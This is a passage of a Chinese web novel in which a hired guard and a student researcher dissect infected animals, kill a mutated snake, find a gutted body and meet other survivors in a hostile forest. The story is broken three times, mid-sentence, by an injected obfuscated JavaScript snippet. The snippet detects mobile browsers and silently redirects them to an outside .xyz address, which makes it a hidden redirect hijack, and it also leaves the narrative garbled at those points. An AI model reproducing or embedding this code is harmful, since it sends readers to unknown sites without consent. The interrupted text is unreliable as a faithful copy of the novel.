过了会儿,宋何正单手撑地,慢慢坐起来,从包里拿出一叠小型手术刀和许多药剂摆在地上。他理直气壮地指挥路名把所有东西搬到有光的地方,自己拿工具消毒,顺便给两头跑的路名说说药剂。 “这是GB9601吡汾药剂,这是MK774白蚍药剂……”路名听得两眼发懵,要不是扎扎实实读过十几年书,她还真没耐心听完一摞长名单。 就算听了,她也记不住。 万幸的是,路名以前喜欢收集各种各样的瓶子、杯子。对这些没有半点儿艺术气息但很有个性的瓶子,她努力联想/硬凑那些又长又繁琐的名字,勉强能蒙混过关。 “不用太担心,我过会儿会根据瓶子的特征提醒你。”宋何正原本就没指望这个五大三粗还没素质的家伙能记住这些药剂全名,絮絮叨叨说一通是为了缓解他的郁闷。过会儿还要共事,天塌了都不能影响他的操作。 他一手夹住两只猴子,另一个胳膊抬起来,眼神微微上扬。 路名:……这个活爹。 路名扶着宋何正走到山洞入口,刚把人放下,她一脚往后退,远离那两只猴子。 宋何正:? “怕什么?”他用奇怪的眼神上下打量路名,“你注射过碎红AH-133,一周内都不会受到红兽血的影响。躲得这么勤快,这两只异变的猴子能吃了你吗?” 路名怔住,顿时毛骨悚然:“你原本就知道他们被感染了?” “行动迅速但缺乏组织性,集群攻击却干不掉五十个菜鸟,还有你跑进来的时候,投射的准头太差。要是有这么差的攻击力,红颜猴在大进化中迁徙早该灭族而亡。”宋何正施施然说道。 他将猴子拨正,地上掉一堆毛。 洞口偶尔有微风吹进来,路名遮住口鼻躲到换个背风的位置,瞥一眼对面的宋何正,暗自嘀咕:就那“破准头”,还不是几个果子就把他打得要死,也不知道是谁刚刚哭的那么大声。 宋何正快速清理猴子身体的毛发,露出干净的肌肤——大片大片的蓝色如同叶脉伸展在躯干上,本该凸起的毛囊凹陷,填满淡蓝色的小点。 饶是路名生理课勉强及格,也看出这具尸体的诡异处。 这是她见过的第二只红兽。 这只红颜猴在被感染后并没有呈现身体膨胀、肌肉组织迅速扩大的特征,和她在山洞里见到的红兽完全不同。她静静看宋何正拆解红颜猴的尸体,时不时搭把手,为三万积分尽职尽责。 除了几句描述瓶子的话,山洞里只剩下剪开皮肉的声音和呼吸声。 宋何正快速分装部分组织和器官,装进自己的背包。每装好一个瓶子,他就打开光脑,快速记录。 这些事情他重复了无数遍,早已习以为常。余光瞥到旁边晃动的阴影,他略感嫌弃,“这里没你什么事,你可以去别的地方转转,顺便找找方向。我们和小白分开了,光脑的信号不好,我暂时联系不上他们,他们应该是从矿洞走的,说不定已经到滩涂了。” 路名如获大赦,赶紧挪到一边活动蹲麻了的脚。 有一说一,这个宋何正是真能坐得住,不愧是读书搞研究的料子。路名在心里感叹一番自己当年读书的刻苦和不尽如人意的结果,又想到如今身处这个没人权的世界,连学都上不起,和美好平和的小院生活彻底拜拜。暗自怜爱一会儿,她折回去拾起那把匕首,拎到宋何正面前晃了晃。 宋何正抬头,从包里摸来一个瓶子接住那坨肉,反手递给路名一张纸。 真不愧是讲究人,路名边感叹边擦干净匕首上的血迹,收起匕首。她想了想,干脆一只手放在包里,包挂在肩膀上,晃晃悠悠、小心翼翼走出山洞。 山洞外什么也没有,除了植被,就是石头和泥土。 跑路时留下的血液已经看不出痕迹,那些掉落的果实也都不见踪影,八成被那几只猴子捡走。 路名顺着来时的路往回走,她想回去找找余震走的方向。 “嘶~”草丛里冷不丁窜出来一条蛇,蛇身足有她手腕粗,大约一米多长,身上有金色和深绿色交叠的波形花纹,整体呈灰棕色。蛇盘卧在落叶堆里,两只眼睛一眨不眨地盯着前方,时不时吐蛇信,发出“嘶嘶~”声。 路名微微皱眉,脚下不动,身体跟着蛇的视线扭过去。 没看错,蛇的眼睛是睁着的,墨黑色的眼睛半睁半闭,眼皮一层层叠着,颜色分明。 路名:……这是个瞎子。 脚步一挪,草茎折断。蛇猛然窜过来,快到只能看见一个残影。 路名收回脚,顺势握紧匕首,躬身迅速向下扎。匕首弯折的瞬间,原本设计好的圈套和路名的三观一起轰然粉碎。她不得不就地一滚躲远点,弄出更大的声响迷惑这条蛇;同时,她从包里拿出另一把匕首。 上一把匕首甩在石块上,脆响声引去盲蛇。 跑到半路,这条蛇似乎察觉到不对劲,身子还在向前,脑袋硬生生转个弯,暴躁地张大嘴巴,发出警告。它很聪明,和那些红颜猴不一样。 路名迎面而去,以迅雷不及掩耳之速把匕首送进蛇嘴里。 蛇吃痛,盘在草堆里的尾巴疯狂鞭打地面,那块被旧匕首撞过的石头“砰”的一声碎得稀巴烂。 路名心里一紧,一边注意蛇尾的动向,一边用力向下把匕首扎进更深处。这把匕首比之前那把更长,足以贯穿蛇的皮肉,露出刀尖。汩汩鲜血顺着刀背淌进草丛,淅淅沥沥落在草叶和蘑菇上。 大约十分钟后,蛇挣扎的力度明显变小,蛇尾只鞭起阵阵土屑。 路名将蛇连带匕首扔在地上,拾起另一把弯折的匕首。这两把匕首是一套而成,材质不错,花了她不少积分。经过高温冶炼的金属理应宁折不弯,这把匕首竟然弯了! 路名深感难以置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635345|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忍不住用手指戳了戳刀尖。刀尖像橡胶制的玩具,一碰就打卷。 突然,她注意到刀刃上有一层膜,可能是保护涂层,经过特殊反应后,这层膜微微起泡,和下半段涂层彻底分道扬镳。 路名揪起涂层一角,随手一撸。 涂层剥落的瞬间,刀尖也化为粉尘,散在空气中。 这……又是一件用她的认知也无法解释的事情。她抽出长匕首,把失去活力的蛇身缠在胳膊上几圈,攥紧蛇尾,让蛇头朝下,顺便放放血。想了想,她把扔在草丛里的半截匕首拾回来,打算侦查完毕回去给宋何正看看。或许高材生能解释一二。 路名回到之前两拨人分开的岔路口。 久经踩踏后,这附近高大的灌木下的矮小植物半数倒在地上,有些拦腰折断,断口分泌半透明的乳白色汁液,有的顺着茎干落在地上,在风中凝固,有的糊在伤口上;草丛里的落叶被踹了好几脚,露出内部还没来得及完全腐烂的叶子,走近些甚至能闻到浓郁的腐烂味;到处都是鞋印,一个踩一个,糊在地上。 路名在厚厚的灌木丛间走走停停,努力辨认那些脚印的朝向。 有风吹来。 她一抬头,目光不由得聚焦在一截垂下的树枝上。这根树枝只有碗口粗,从树杈上斜垂在地上,原本朝下的枝桠翻转朝上,五六片绿叶在微风中极轻极细地抖动着。一缕黑线随风飘动。 路名勾起那道黑线,在指腹上捻了捻。这似乎是人的头发。 掉发?谁的? 她用手臂丈量这一小撮头发的长度,差不多有二十五厘米,发尾枯黄,男人略微留长,或者女人稍稍剪短,都可以。 路名回忆一遍五十号人的容貌。男人清一色寸头,数量也多;女人不多,五六个人骨架大,身材偏瘦,走路时短发发尾飘在耳边,有种行走的骨架的荒唐感,还有一个面色苍白、身材矮小的长发女人,头发及腰,一身藏青色的运动服虽有些破旧,还算整洁,放在一帮不修边幅的粗人里,格格不入。 路名看一圈周围的环境,对准之前宋何正站的位置,视线却被庞大的桉树挡住。 ——这里是他们两拨人分开的位置。 一大群人在红颜猴的围攻中突围,行动时难免会有磕磕绊绊,这缕头发是碰掉的,还是恶意扯掉的,或者,这里发生过什么异变? 亲眼目睹红兽的存在和匕首的异常,路名对这个世界保持最大的敬畏和警惕。 她没有立即下定论,而是谨慎地向前深入一点。 …… 白旗亭他们四个左等右等,终于等来一群人出现在森林拐角。 带头的几人微微低头,看不清面目。他们互相搀扶向前,脚步虚浮,腰间的枪一起一伏。 “大壮哥”瞟一眼,“啧”一声,跳下石墩,拍了拍白旗亭的肩膀,“要帮忙吗?”说实话,他真不想帮忙,太恶心人了。 白旗亭直直地盯着那撮人,顿了下,惊恐道:“不对劲,我没看到宋学长。” 12. 泰林(5) 三十分钟后,路名左手拎起两对兔耳朵,右手拽着三只红颜猴尾巴,胳膊上还缠着一条蛇,蛇身从左肩膀挂到右肩膀,浩浩荡荡回到山洞口。 被声音吸引的宋何正:“……你去进货了吗?” 他怎么就没遇到这么多病变动物! 路名一顿,总不能说她迷路了吧。她轻轻咳嗽一声,放下满满两手的猎物,蹲在墙角看宋何正解剖猴子,“我朝卡车方向走了会儿,看见路边有两只死兔子,嘴上红红的,不像血迹,我就带回来了。” 宋何正不由得多看她两眼。这家伙有什么玄学在身吗?怎么他出去走一圈就什么都遇不到呢? 不对,不只是他,同院的学长学弟都差不多。砸进去大把的学分,真正能有点收获的人很少。果然还是玄学。红月工会是不是也看中她这一点? “你瞪我干嘛?”路名一脸莫名其妙。 “……我在想,你刚刚是不是迷路了?”宋何正收起发散的思维,赶紧转移话题。他只是一个又可怜又弱小、还没毕业的预备研究员,不想参与大型工会的内部事宜。 “没有。”三好员工路名斩钉截铁地说,“路很好找,那边就两个岔路,我确认其他人离开的方向后,又往回走一段路,顺路发现这些。” 一天三万的员工怎么能说迷路呢?绝对不能! 宋何正没再多问,着手解剖新来的动物。他先解剖红颜猴,有之前的经验和收获,他这次动手很快,将几个有细小偏差的部位逐一对比,一一记录。十几分钟后,他又着手剖开两只兔子。 “哎~”突然的声音在山洞里回荡。 宋何正手一抖,差点被吓死。他扭头怒瞪罪魁祸首,“你发什么神经?” 路名小声提醒他:“你脸上有血。”红兽的血具有极强的感染性,宋何正脸上红一道白一道,有些血坠成滴,半挂在脸上,看起来又危险又诡异。 “三个小时内,我不会被感染。”宋何正撸一把脸,又说:“我工作的时候,你闭嘴。” 路名撇过脸,不想看对面那张更加恐怖的脸。 山洞外一片蒙蒙的灰绿色,偶尔有天光照进来,细若银发。她抱一条腿坐在洞口,似乎这片刻的安宁和以前别无二致,师兄们一个都不在身边,要是能来壶酒就更好了,小酌一杯,美滋滋。 “噗呲”一声,伴随熟悉的惊呼,路名回头,只看到散落一地的工具和伸手在包中摸索的宋何正。她心里一惊,瞥一眼皮开肉绽的蛇,凑到宋何正身边。 宋何正的脖子、胳膊、大腿,所有裸露在外面的肌肤都在这片刻之间生出黑色瘢痕,黑点越来越大,皮肤如同被腐蚀一般慢慢瘪进去。好不容易摸到一管合适的药剂,他随手扎在手臂上,快速将药剂推入体内。扔掉空瓶,他躺在石壁上,缓缓喘气。 “你会死吗?”路名看着他问。 刚刚那一刹那,情况很危险。路名能感觉到宋何正的紧张,这家伙哪怕知道红颜猴已经异变成红兽,也会躺在地上休息够了再起来注射药物,而刚才,他找药的时候手都在抖。是那条蛇的问题。 宋何正心里一梗。怎么听着他就要死了? 好在药物见效很快,皮肤上的灼热感迅速消退,身体里奔腾流窜的毁灭感逐渐销声匿迹,似乎暗中蛰伏起来,他仍有一种不祥的预感。他摸了摸不烫的额头,脑子没那么晕,应该是退烧了。 绕开路名,宋何正不打算和她计较,慢慢回到操作台,“我收拾一下,我们马上去找小白。”现在找过去,速度快的话还赶得上。 路名:? “你能走?那条蛇,要我帮你扔了吗?” 宋何正用一种难以置信的眼神看着她,眉头紧皱。这条蛇也能扔,这……算了。他转过脸,闷声说道:“你别管,等我收拾好就带路。” 宋何正真想白她一个大白眼。 转念一想,这人没读过什么书,不怪她没见识又没眼力见。 路名远远地蹲在洞口等着。不知怎么的,她总有种被嫌弃的感觉。仔细回顾一遍刚刚发生的事,除了拿药她帮不上忙,其他时候她就是个隐形人。嫌弃?要么是错觉,要么是宋何正脑子有问题,她更倾向前者。宋何正是个高材生,随身携带药,脑子坏了的概率不大。 收拾完,路名主动背包,顺便从草丛里找来一根木棍给宋何正拄着,她在前面慢慢走,宋何正一拐一拐跟在后面往前赶,看着很急的样子。 路名悄悄放慢脚步。 余震一行人浩浩荡荡,走得匆忙,不仅留下的足迹杂乱无章,旁边的灌木也被踩倒几株。深绿色的灌木层层堆叠,撑起倒伏的同伴,树叶上挂着几近干涸的粘液,有嫩绿色,有淡黄色,还有深红色,大多在近地面的高度,像血。 路名跑几步,蹲下来,捻起一根血红色粘液,慢慢将它从叶片上撕下来,一边卷一边向后走,直到和脸色苍白的宋何正面对面。 宋何正皱眉:? “我想让你看看这是不是红兽血。”路名侧过身,指着前面的路,说:“那边,这东西更多。” 宋何正叹口气,“血已经干了,八成是你捡的那些尸体的。血迹、尸体,这些东西在泰林很常见。大进化后,地势变化,生物进化,有不少队伍尝试探索这里,不过大多数都杳无音讯。”所以,在这片林子里,真正的红兽尸体才是稀罕物。 他把剩下一句藏在心里,抬手一弹,将血线掐断,示意路名继续向前。 路名手腕一转,换个方向继续卷血线。和前面那些杂乱的血线不同,这一带灌木丛里只有这一根显眼的血线。她很好奇这条血线的去向或来处。 宋何正本就急着赶路,前面那个带路的临时工却毫无自觉,竟然边走边把血线缠在手里玩。 不愧是靠肌肉和胆子吃饭的人,对这里没有半点儿敬畏心。 宋何正一拐一拐加速向前,每次想赶上去训斥这家伙一顿,好让撒开血线,她对脚下的路上上心,偏偏这家伙跟后脑勺长眼睛似的,每次两人距离拉近到半米之内,这家伙就猛地窜出去,似乎找到新的乐趣,脚步轻快地跑了。宋何正跟在后面,充满怨念地敲木棍,“咚”“咚”“咚”…… 好不容易赶上来,他累得要死,喘口气,有点高兴,酝酿已久的稿子脱口而出:“你怎么。” “你看。” 路名不仅打断他的话,还一把揪住他打上来的棍子,方向一转,拨开及膝的灌木丛,指向睡在里面的人,“这些血线是他的。” 这一路,血线断断续续,路名每收集一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638601|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 截就卷一个小包,如今手里已有四个血包,有点粘手。 血线轻轻贴在叶茎上,细弱的线绷紧,连接地上断绝生机的人的肚子。这个人的肚子被生生剖开,边缘还有碎肉和不成形的肉层。他很瘦,没什么脂肪,皮肉也薄薄的一层挂在身上。肚子里干干净净,内脏一个不剩。 “不是红颜猴干的。”宋何正脸色隐隐发青,语气很坚定,“我解剖过你带回来的那几只病变动物的腹部,收集胃部的酶,剖开肠道,并没有发现消化碎肉的痕迹。” 这不是他第一次出来找材料,也不是他第一次直面人类的死亡,和老师出来过许多次,他们一行人都没有找到意料之外的、比计划的更好的材料,偏偏这一次,他找到了。他不再需要按照原定计划做那些折磨人的实验。 他突然发现,自己有点不敢直视这具尸体。 “你做什么?” 路名一脚跨进灌木丛,拨开碍事的灌木,一脚一个,将它们统统踩倒。她踩在植物的茎干上,免得一脚陷进落叶堆里。 “收尸。” 灌木丛中有一股腐烂的味道,路名闻着并不舒服,隐隐有点头晕,但这并不妨碍她的手速。她快速在死者身边刨开一个洞,将人推进去,然后从附近薅来最上层的落叶,盖住死者的身体。做完这些,她跨出去,拍拍身上的土屑和残叶。 “泰林里有有食腐动物,这种伪装骗不了它们。”宋何正目视前方,好心提醒。 “不用躲,生于天地,死后回归自然,也是一种体面的死法。我只是不想看他曝尸荒野。你刚才也说了,这里死过不少人,不见光,说不定能和地下的人重聚。”路名两手空空,有点不习惯,她揪下路边的叶子卷在手里,卷吧卷吧,再展开,再卷吧卷吧,继续展开…… 宋何正跟在后面,余光瞄到那片叶子,搞不懂这又是什么新的爱好。这个临时工,奇奇怪怪的。 “没想到,你还有信仰。”他有些诧异。 神啊,鬼啊,来世,转生之类的,大多源自口口相传的神话。大进化后,人类文明几度断层,这些东西渐渐失去说服力,少数顽固分子会继续宣扬,以此为精神支柱,挣扎着活下去。 临时工算是见习猎人的弱化版,这些都是头别在裤腰带上、刀口舔血的人,谁都不信,只信自己,有的甚至会信自己到封神的地步。 算一算,见习猎人普遍不到二十岁,哪怕少数人有异能加持,大多数人在这个年纪能训练有素,组队和红兽一较高下,甚至占上风,足以见得这十多年付出多少努力。但凡他们多一点外来的信仰或犹豫,和机遇失之交臂,都会被猎人学校的考核刷下去。 宋何正心里涌起一股热流,排除出任务,平时他们这些预备研究员还是很敬重见习猎人的,各有各的苦法。 “没有啊。”路名随口回他。 她读书、工作的时候,师兄们经常打趣她,说她心中没有敬畏,没有秩序,赤条条一片,不知道怎么就混进道观,稀里糊涂成了他们的师弟。 宋何正一颗感动的心如鲠在喉,不知道说什么好。 “我感觉,我们可能遇到麻烦了。”路名抽出长匕首,一只手拦住后面拄拐走路的大金主。 宋何正脚步一拐,换个方向往前凑。 13. 泰林(6) “学长!”白旗亭高兴地喊了声,朝这边走过来。 看见熟悉的人,宋何正苍白的面容浮现一抹笑意,他抿紧嘴唇,站在原地。 路名拉着女生的手,往旁边躲了躲。和白旗亭目光交错的瞬间,路名感受到一股强烈的敌意,不只对她,还有身后的女生。 “我……”女生忐忑不安。 “你站在我后面,跟着我。”路名冷静地观望那对学长学弟的重逢。 一刻钟前。 路名听脚步声察觉有人靠近。这鬼地方除了他们两个倒霉蛋,还能有谁?余震一行人?如果真是余震,说明这条路比之前更加凶险,去滩涂和白旗亭他们汇合难上加难;如果不是,来者是敌是友? 路名握紧长匕首,严阵以待。 一个衣衫褴褛、骨瘦嶙峋的男人摇摇晃晃出现在路口。他头发蓬乱,右眼凹陷,细看能发现其中有东西在蠕动;这人似乎很久没喝水,嘴唇干裂,一身脏污,有粘液粘在衣服上,也有草屑贴在皮肤上。 迷路的难民? 路名皱了皱眉,轻轻放松握住刀柄有些酸麻的手。这男人看起来体力不行,应该很好制服。 狭路相逢。 眉眼一抬,见到活人,瘦弱的男人突然神情大变,张大嘴“咯咯咯”地笑起来,像卡了的磁带,随即跟疯了似的向前冲,张开一口烂牙的嘴,作势要咬上来。 路名吓了一跳,什么玩意儿,疯了? 她侧身绕到对方身后,准备反绞双臂,将人摁在地上,手法和之前抓宋何正一模一样。 “直接杀,快!”宋何正忽然想起什么,叫得又急又响。 来不及了,路名脸色骤变。 她的手指刚触碰到男人的后颈,后颈的皮肤突然鼓胀、变形,形成一块黑斑,快速凹陷,如同腐烂了的苹果,戳破就能淌出又臭又酸的溶液。那层皮肤像毒蛇一样露出獠牙咬住路名的手,剧痛瞬间麻痹她的神经,五感近乎丧失,眼前一片漆黑;路名想都没想,挥刀凭记忆割断对方的脖子。男人立即身首异处。 痛感消失,她恍然听见宋何正一声“快”的尾音。 “……我刚刚……”劫后余生的喜悦被后知后觉的惊悚盖过,路名不敢细想刚刚的事,背后直冒冷汗。 宋何正一脸后怕,直盯着路名。 突然,路名“噗通”一下跪下来,面容痛苦,她一手捂住肚子,一手掐住自己的脖子,不断干呕。她吐得想死,眼前直冒金星,终于呕出一点东西——一团带血的黑线团。 一只戴白色手套的手拿走那团呕吐物。 是宋何正。 不知什么时候,他已经卸下路名身上的包,从包里拿出一个瓶子放在身边。用光脑拍照后,他把黑线团放进去,开始记录。 他工作,路名休息,没人想说话。 路名躺在地上,活下来的惊喜和差点死掉的愤怒不断对撞,诱使她回忆刚刚的每一个细节。零零碎碎的画面想多了,一切都在脑海中清晰展开,瘦削的男人,佝偻的身体,病变的黑斑,带血的黑线……有点熟悉。 她刚想问宋何正,余光一瞥,扫到灌木丛中一只鞋尖。 又有人? 路名站起来,长匕首别在身侧,佯装身体恢复后起来到处走动。第三次走到那只鞋尖附近,敏锐的视觉让她察觉到那个鞋尖往后缩了缩。 又是活人! 宋何正心情沉重地记录完数据,抬头瞥见一只“飞鸟”——路名“噌”一下跳到旁边的灌木丛,身体灵活轻巧,和之前吐得昏天黑地的样子比简直判若两人。不愧是红月工会看中的人,身体就是好啊,他在心里感叹。 灌木丛传来一道陌生的惊叫声,很轻。 宋何正猛然站起来,他完全没有察觉有人在附近,是谁,什么时候来的? 几株灌木被砍到,视线穿过叶片,他一眼瞄准另一位不速之客——一个面容陌生的女孩。女孩头发很长,瘦削的瓜子脸上有一双大眼睛,此刻微微睁大,像个骷髅头,有点瘆人,此刻正满脸畏惧地看着他和路名。 路名保持戒备,刀尖微微下垂。她感觉情况有些棘手。 之前她捡到一缕黑线,怀疑是对方留下的,而现在,她无法确认那团黑线的来处。那是头发,还是呕吐物? “她是和我们一起过来的。”三秒后,路名果断将之前的发现和盘托出,把问题甩给高材生。 熟悉的沉默。 宋何正一时间拿不出主意。 那缕黑线被路名弄丢了,没有对比,他得不到半点结论性的东西。关于这一点,那个没素质、没头脑的家伙理所当然地把一切推给那条蛇。虽然那的确是一条很有价值的蛇,但未知的黑线也很诱人。 宋何正第一次后悔让路名独自出去探路。早知道外面的世界这么精彩,他就该跟着去! “……那个应该是我的头发。”女孩小声说,她不敢看杀气腾腾的路名,对长相清秀、气质温和的宋何正印象不错,“走到那儿的时候,队伍里有几个叔叔突然变得很生气,猴子打跑了就拿枪柄打其他人,我头发长,被揪过好几次。” “他们为什么打你?”路名不理解。 女孩儿摇头,她也不知道,“不只是我,还有其他几个人,有个阿姨甚至和他们打起来了。” 可以想象,当时的情况一定非常混乱。路名心有戚戚。亏她当时还有点羡慕余震行动迅速,现在看来,大家都不好过。 “红颜猴群居,攻击性强,会将带有剧毒的果子投掷给敌人,以人类的身体为养料,为植物传播种子。按照人类的性格判断,它们瑕疵必报,非常记仇。被一大群红颜猴围攻,那些人心跳加速,血液循环跟不上,大脑的确会出现问题。”宋何正冷声解释道。他低头有一下没一下地拨弄手腕的光脑,没有点开。 这是……热血上头了?路名用仅剩的一点知识理解这段话。距离她此生知识巅峰——某大型考试,已经过去近十年,她只记得零星一点生物知识。 “他们生病了?”此话一出,两人刷刷看向女生。 路名心里哎呦一声,有点高兴。这姑娘读过书,意味着无证民居的确有上学渠道,她就有机会在办理居住证后想办法重新上学,学习是苦差事,但毕业后她可以再次实现躺平人生。 “你不觉得他们是出现幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643780|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉才表现异常的?”宋何正边问边打开光脑。 女生说话的声音大了点,“他们只打我们几个。” 那挺惨的,路名对这个姑娘的遭遇深表同情,因为读书的事,虽然姑娘不看她,她一直盯着人家的侧脸瞅,这么看,这姑娘长得真不错。 “你叫什么?” “钱云。” “一起走吧。”宋何正关闭光脑,转身收拾包。 路名一手捞起背包斜挎在肩上,一手拉住钱云,一用力,将人拉出灌木丛。 “等一下。”路名一顿,三人同时往向路口。 一道熟悉的身影出现在庞大的桉树树冠下。白旗亭走不动了,气喘吁吁蹲在地上休息,整个人恨不得埋在地里,过了会儿,他起身往前走,一抬头,看见三个定住的人定格在原地,神色警戒,有一瞬间懵逼。 “学长!” 亲亲热热的学长学弟重逢戏码开始了。 “哎。”路名轻轻戳了戳钱云的肩膀,对方靠过来,低头看地,小心翼翼的样子,“你知道余震去哪儿了吗?就那个射击很准的男的,个头很高,差不多二十来岁吧,脸看着很凶的。” 钱云摇头,声音跟蚊子似的,“余大哥把枪给别人,自己去劝架,没走多久就和我们走散了。” “你也是走散的?” “我不是,我是跑出来的。” 宋何正瞥一眼站在旁边低头玩手、悄悄摸摸说话的两个人,默默在心里把两个人痛骂一顿。没看见他一句都说不上,好歹进来插一句,给他个开口的机会啊!自我介绍不会吗?打招呼不会吗? 他一睁眼全是小白巴拉巴拉说个不停的样子,比这一路走来还累。 “喂!”忍无可忍,无需再忍,宋何正抬手大喝一声,把三人吓一跳,“你们两个怎么回事,身为护卫队的人,就站在这里浑水摸鱼吗?你知道你们在这一天,我们要损失多少钱吗!为什么还不去探路,要我教你们吗?” 路名用奇怪的眼神看一眼宋何正,这人有病吧?脑子坏了吗?白旗亭跟他们的方向完全相反,还探什么路? “我们现在就去。”一天三万的牛马路名火速低头,拉着钱云就走。 宋何正松了口气,转过笑脸来,“小白,这座泰林比我们之前和老师来的更加危险了,而且物种出现了新的变化,我找到了新的……” “我们接下来往哪边走?”刚走几步,路名又折回来,看了看两个人,直接硬插话。 宋何正心头一窒,有种搬起石头砸自己的脚的感觉。 “不用探路,我来带路。学长,我们边走边说,张俞镇他们就在前面休息。”白旗亭侧身迈出一步,和宋何正并肩向前。 路名和钱云跟在后面。 她发现钱云很怕白旗亭,只敢走在宋何正后面,头也不抬,全程盯着宋何正的脚后跟走路。 宋何正往后瞥一眼,看见路名对身后的钱云嬉皮笑脸的样子,顿时觉得一股郁气堵在胸口。这家伙怎么这么开心,有什么事值得她这么开心? 收回视线,宋何正决定忽视路名。他斟酌着开口问:“小白,你的数据采集顺利吗?”